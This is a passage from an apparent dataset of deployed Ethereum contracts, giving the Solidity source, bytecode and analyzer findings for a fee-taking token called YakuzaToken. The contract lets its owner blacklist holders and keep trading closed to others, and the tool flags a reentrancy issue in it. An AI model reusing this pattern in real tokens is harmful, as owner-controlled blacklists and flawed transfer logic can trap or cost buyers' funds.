ffffffffffffffffffffffffff8516156105c6578473ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561058e57600080fd5b505afa1580156105a2573d6000803e3d6000fd5b505050506040513d60208110156105b857600080fd5b505181816105c257fe5b0490505b6106428373ffffffffffffffffffffffffffffffffffffffff166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b15801561060f57600080fd5b505afa158015610623573d6000803e3d6000fd5b505050506040513d602081101561063957600080fd5b50518590610655565b818161064a57fe5b049695505050505050565b60008115806106705750508082028282828161066d57fe5b04145b6103a857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604482015290519081900360640190fdfea2646970667358221220f4969f17bc1641afec11040b9b921e1365b49e9f99163f41aab2f969089ef4cc64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,388 |
0xb1f460f221c897a692f5e8e4af3f3c60733d1077
|
/**
https://t.me/YakuzaToken_Entry
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract YakuzaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "YakuzaToken";
string private constant _symbol = "Yakuza";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 5000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xD14c30f91c313EB06c760F3cfe5D6d88ba1a586D);
address payable private _marketingAddress = payable(0x3f2d2532cB1Ae721bb23C9169d827bf0D7b2444E);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9;
uint256 public _maxWalletSize = 50000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "Max Transaction Limit");
require(!bots[from] && !bots[to], "Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function startTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461054f578063dd62ed3e1461056f578063ea1644d5146105b5578063f2fde38b146105d557600080fd5b8063a2a957bb146104ca578063a9059cbb146104ea578063bfd792841461050a578063c3c8cd801461053a57600080fd5b80638da5cb5b116100d15780638da5cb5b146104475780638f9a55c01461046557806395d89b411461047b57806398a5c315146104aa57600080fd5b806374010ece146103e45780637d1db4a5146104045780637f2feddc1461041a57600080fd5b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f81461037a5780636fc3eaec1461039a57806370a08231146103af578063715018a6146103cf57600080fd5b80632fd689e314610308578063313ce5671461031e57806349bd5a5e1461033a5780636b9990531461035a57600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d3578063293230b8146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ac8565b6105f5565b005b34801561020a57600080fd5b5060408051808201909152600b81526a2cb0b5babd30aa37b5b2b760a91b60208201525b60405161023b9190611b8d565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611be2565b610694565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5069010f0cf064dd592000005b60405190815260200161023b565b3480156102df57600080fd5b506102646102ee366004611c0e565b6106ab565b3480156102ff57600080fd5b506101fc610714565b34801561031457600080fd5b506102c560185481565b34801561032a57600080fd5b506040516009815260200161023b565b34801561034657600080fd5b50601554610294906001600160a01b031681565b34801561036657600080fd5b506101fc610375366004611c4f565b610753565b34801561038657600080fd5b506101fc610395366004611c7c565b61079e565b3480156103a657600080fd5b506101fc6107e6565b3480156103bb57600080fd5b506102c56103ca366004611c4f565b610831565b3480156103db57600080fd5b506101fc610853565b3480156103f057600080fd5b506101fc6103ff366004611c97565b6108c7565b34801561041057600080fd5b506102c560165481565b34801561042657600080fd5b506102c5610435366004611c4f565b60116020526000908152604090205481565b34801561045357600080fd5b506000546001600160a01b0316610294565b34801561047157600080fd5b506102c560175481565b34801561048757600080fd5b5060408051808201909152600681526559616b757a6160d01b602082015261022e565b3480156104b657600080fd5b506101fc6104c5366004611c97565b610906565b3480156104d657600080fd5b506101fc6104e5366004611cb0565b610935565b3480156104f657600080fd5b50610264610505366004611be2565b610aeb565b34801561051657600080fd5b50610264610525366004611c4f565b60106020526000908152604090205460ff1681565b34801561054657600080fd5b506101fc610af8565b34801561055b57600080fd5b506101fc61056a366004611ce2565b610b4c565b34801561057b57600080fd5b506102c561058a366004611d66565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506101fc6105d0366004611c97565b610bed565b3480156105e157600080fd5b506101fc6105f0366004611c4f565b610c1c565b6000546001600160a01b031633146106285760405162461bcd60e51b815260040161061f90611d9f565b60405180910390fd5b60005b81518110156106905760016010600084848151811061064c5761064c611dd4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068881611e00565b91505061062b565b5050565b60006106a1338484610d06565b5060015b92915050565b60006106b8848484610e2a565b61070a843361070585604051806060016040528060288152602001611f1a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611352565b610d06565b5060019392505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161061f90611d9f565b6015805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461077d5760405162461bcd60e51b815260040161061f90611d9f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107c85760405162461bcd60e51b815260040161061f90611d9f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061081b57506013546001600160a01b0316336001600160a01b0316145b61082457600080fd5b4761082e8161138c565b50565b6001600160a01b0381166000908152600260205260408120546106a5906113c6565b6000546001600160a01b0316331461087d5760405162461bcd60e51b815260040161061f90611d9f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f15760405162461bcd60e51b815260040161061f90611d9f565b674563918244f4000081111561082e57601655565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161061f90611d9f565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161061f90611d9f565b60048411156109be5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161061f565b6014821115610a1a5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161061f565b6004831115610a7a5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161061f565b6014811115610ad75760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161061f565b600893909355600a91909155600955600b55565b60006106a1338484610e2a565b6012546001600160a01b0316336001600160a01b03161480610b2d57506013546001600160a01b0316336001600160a01b0316145b610b3657600080fd5b6000610b4130610831565b905061082e8161144a565b6000546001600160a01b03163314610b765760405162461bcd60e51b815260040161061f90611d9f565b60005b82811015610be7578160056000868685818110610b9857610b98611dd4565b9050602002016020810190610bad9190611c4f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bdf81611e00565b915050610b79565b50505050565b6000546001600160a01b03163314610c175760405162461bcd60e51b815260040161061f90611d9f565b601755565b6000546001600160a01b03163314610c465760405162461bcd60e51b815260040161061f90611d9f565b6001600160a01b038116610cab5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061f565b6001600160a01b038216610dc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061f565b6001600160a01b038216610ef05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061f565b60008111610f525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061f565b6000546001600160a01b03848116911614801590610f7e57506000546001600160a01b03838116911614155b1561124b57601554600160a01b900460ff16611017576000546001600160a01b038481169116146110175760405162461bcd60e51b815260206004820152603860248201527f54686973206163636f756e742063616e6e6f742073656e6420746f6b656e732060448201527f756e74696c2074726164696e6720697320656e61626c65640000000000000000606482015260840161061f565b6016548111156110615760405162461bcd60e51b815260206004820152601560248201527413585e08151c985b9cd858dd1a5bdb88131a5b5a5d605a1b604482015260640161061f565b6001600160a01b03831660009081526010602052604090205460ff161580156110a357506001600160a01b03821660009081526010602052604090205460ff16155b6110ef5760405162461bcd60e51b815260206004820152601c60248201527f596f7572206163636f756e7420697320626c61636b6c69737465642100000000604482015260640161061f565b6015546001600160a01b03838116911614611174576017548161111184610831565b61111b9190611e1b565b106111745760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061f565b600061117f30610831565b6018546016549192508210159082106111985760165491505b8080156111af5750601554600160a81b900460ff16155b80156111c957506015546001600160a01b03868116911614155b80156111de5750601554600160b01b900460ff165b801561120357506001600160a01b03851660009081526005602052604090205460ff16155b801561122857506001600160a01b03841660009081526005602052604090205460ff16155b15611248576112368261144a565b478015611246576112464761138c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128d57506001600160a01b03831660009081526005602052604090205460ff165b806112bf57506015546001600160a01b038581169116148015906112bf57506015546001600160a01b03848116911614155b156112cc57506000611346565b6015546001600160a01b0385811691161480156112f757506014546001600160a01b03848116911614155b1561130957600854600c55600954600d555b6015546001600160a01b03848116911614801561133457506014546001600160a01b03858116911614155b1561134657600a54600c55600b54600d555b610be7848484846115d3565b600081848411156113765760405162461bcd60e51b815260040161061f9190611b8d565b5060006113838486611e33565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610690573d6000803e3d6000fd5b600060065482111561142d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061f565b6000611437611601565b90506114438382611624565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149257611492611dd4565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114e657600080fd5b505afa1580156114fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151e9190611e4a565b8160018151811061153157611531611dd4565b6001600160a01b0392831660209182029290920101526014546115579130911684610d06565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611590908590600090869030904290600401611e67565b600060405180830381600087803b1580156115aa57600080fd5b505af11580156115be573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115e0576115e0611666565b6115eb848484611694565b80610be757610be7600e54600c55600f54600d55565b600080600061160e61178b565b909250905061161d8282611624565b9250505090565b600061144383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117cf565b600c541580156116765750600d54155b1561167d57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116a6876117fd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116d8908761185a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611707908661189c565b6001600160a01b038916600090815260026020526040902055611729816118fb565b6117338483611945565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177891815260200190565b60405180910390a3505050505050505050565b600654600090819069010f0cf064dd592000006117a88282611624565b8210156117c65750506006549269010f0cf064dd5920000092509050565b90939092509050565b600081836117f05760405162461bcd60e51b815260040161061f9190611b8d565b5060006113838486611ed8565b600080600080600080600080600061181a8a600c54600d54611969565b925092509250600061182a611601565b9050600080600061183d8e8787876119be565b919e509c509a509598509396509194505050505091939550919395565b600061144383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611352565b6000806118a98385611e1b565b9050838110156114435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061f565b6000611905611601565b905060006119138383611a0e565b30600090815260026020526040902054909150611930908261189c565b30600090815260026020526040902055505050565b600654611952908361185a565b600655600754611962908261189c565b6007555050565b6000808080611983606461197d8989611a0e565b90611624565b90506000611996606461197d8a89611a0e565b905060006119ae826119a88b8661185a565b9061185a565b9992985090965090945050505050565b60008080806119cd8886611a0e565b905060006119db8887611a0e565b905060006119e98888611a0e565b905060006119fb826119a8868661185a565b939b939a50919850919650505050505050565b600082611a1d575060006106a5565b6000611a298385611efa565b905082611a368583611ed8565b146114435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082e57600080fd5b8035611ac381611aa3565b919050565b60006020808385031215611adb57600080fd5b823567ffffffffffffffff80821115611af357600080fd5b818501915085601f830112611b0757600080fd5b813581811115611b1957611b19611a8d565b8060051b604051601f19603f83011681018181108582111715611b3e57611b3e611a8d565b604052918252848201925083810185019188831115611b5c57600080fd5b938501935b82851015611b8157611b7285611ab8565b84529385019392850192611b61565b98975050505050505050565b600060208083528351808285015260005b81811015611bba57858101830151858201604001528201611b9e565b81811115611bcc576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bf557600080fd5b8235611c0081611aa3565b946020939093013593505050565b600080600060608486031215611c2357600080fd5b8335611c2e81611aa3565b92506020840135611c3e81611aa3565b929592945050506040919091013590565b600060208284031215611c6157600080fd5b813561144381611aa3565b80358015158114611ac357600080fd5b600060208284031215611c8e57600080fd5b61144382611c6c565b600060208284031215611ca957600080fd5b5035919050565b60008060008060808587031215611cc657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cf757600080fd5b833567ffffffffffffffff80821115611d0f57600080fd5b818601915086601f830112611d2357600080fd5b813581811115611d3257600080fd5b8760208260051b8501011115611d4757600080fd5b602092830195509350611d5d9186019050611c6c565b90509250925092565b60008060408385031215611d7957600080fd5b8235611d8481611aa3565b91506020830135611d9481611aa3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e1457611e14611dea565b5060010190565b60008219821115611e2e57611e2e611dea565b500190565b600082821015611e4557611e45611dea565b500390565b600060208284031215611e5c57600080fd5b815161144381611aa3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eb75784516001600160a01b031683529383019391830191600101611e92565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ef557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f1457611f14611dea565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c3acd062ad8432208506b04df877098fa89d1e4ec80a1a08a2f002e267ab275664736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,389 |
0x8e9dcb00d0c06e3554dcd19be4ecb4e889209530
|
pragma solidity 0.6.11;
// SPDX-License-Identifier: none
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
